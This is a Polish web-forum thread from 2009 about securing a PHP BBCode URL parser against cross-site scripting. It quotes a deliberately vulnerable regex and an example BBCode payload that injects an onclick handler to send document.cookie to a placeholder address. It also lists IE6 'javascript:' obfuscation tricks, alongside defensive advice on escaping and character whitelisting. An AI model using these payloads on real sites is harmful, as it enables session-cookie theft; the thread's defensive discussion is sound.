ďťż
Podstrony
|
telcocafeRozważmy przykład kodu BBCode:[url=http://localhost"onclick="this.href='xxx'+document.cookie] amazing stuff[/url]Dziurawy kod parsujący linki ze Strefy PHP:preg_replace('#\[url=(.*?)?(.*?)\](.*?)\ [/url\]#si', '<a href="\\2">\\3</a>', $xxx)Jak zabezpieczyć stronę przed XSS? Czy należy:1) nie dopuszczać znaku " w adresie strony - wystarczy we wzorcu określić, które znaki mogą wystąpić 2) zamieniać " na " - raczej nie obędzie się bez preg_replace_callback Można też zamieniać " na " globalnie za pomocą htmlspecialchars() bez drugiego parametru (tylko podwójny cudzysłów), ale nie można już stosować tej zasady np. do tytułów, gdzie często liczy się ilość znaków (" = 1, " = 6). Blokowanie konkretnych atrybutów nie widzi mi się - nigdy nie wiadomo, gdzie pojawi się złośliwy kod. Nawet w style. Kolejny problem - jak pominąć wnętrze znacznika [ code ] [/ code] podczas parsowania kodu BBCode? Należy tak zabezpieczyć żeby było bezpiecznie przed atakami różnego typu: http://ha.ckers.org/xss.html Najprostsze to całkowite wycinanie lub enkodowanie HTMLa, plus stosowne parsowanie tagów BBCode. Dla bbtaga url warto trochę więcej poświęcić niż jedno preg_replace (sprawdzić czy ma http://, jak nie to dodać, sprawdzić poprawność linka (czy nie ma jakiś powyższych niepożądanych dodatków). A jeżeli link jest odnośnikiem do FTP, GG, Skype, SVN? Błędem jest na pewno wykrywanie wyrazów java script: oraz vb script: za pomocą str_replace(). Zadanie wykonuje str_ireplace(). IE 6 jest szczególnym przypadkiem, w którym działają chwyty typu:jav
ascript:alert('XSS'); jav ascript:alert('XSS'); Najważniejsze, by nie przepuścić w atrybutach BBCode niedozwolonych znaków i filtrować ściśle wszystkie dane pochodzące z zewnątrz. Zabawa w usuwanie Unicode, HEX itd. raczej mija się z celem. Test na forum: test Wniosek: w adresie URL javascript - bez : - nie jest zamieniany na java_script, natomiast w tekście TAK. Czy to ważne? Nie wiem, jak poprawnie parsować URL-e. Ograniczanie wartości do konkretnych znaków może spowodować, że niektóre adresy URL nie zostaną wykryte. Co lepsze? Usuwanie " i innych niewygodnych znaków, czy ograniczenie adresów URL do konkretnych znaków? Użytkownik Ferrari edytował ten post 23 marzec 2009, 19:55 adres url nie zawiera " ani ' a jak zawiera to jest podejrzany :) Użytkownik Riklaunim edytował ten post 23 marzec 2009, 22:02 http://www.beldzio.com/obsluga-html |
|||
Sitedesign by AltusUmbrae. |